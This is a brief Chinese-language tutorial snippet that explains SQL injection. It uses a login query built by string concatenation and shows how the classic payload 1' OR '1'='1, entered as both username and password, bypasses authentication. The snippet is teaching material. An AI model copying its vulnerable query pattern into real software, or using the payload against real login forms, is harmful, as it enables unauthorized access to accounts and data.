某个网站的登录验证的SQL查询代码为:
1 |
strSQL = "SELECT * FROM users WHERE (name = ‘" + userName + "‘) and (pw = ‘" + passWord + "‘);"
|
恶意填入
2 |
userName = "1‘ OR ‘1‘=‘1" ;
|
与
3 |
passWord = "1‘ OR ‘1‘=‘1" ;
|
时,将导致原本的SQL字符串被填为
4 |
strSQL = "SELECT * FROM users WHERE (name = ‘1‘ OR ‘1‘=‘1‘) and (pw = ‘1‘ OR ‘1‘=‘1‘);"
|
也就是实际上运行的SQL命令会变成下面这样的
5 |
strSQL = "SELECT * FROM users;"
|
因此达到无账号密码,亦可登录网站。所以SQL注入攻击被俗称为黑客的填空游戏。
时间: 2024-10-07 07:42:16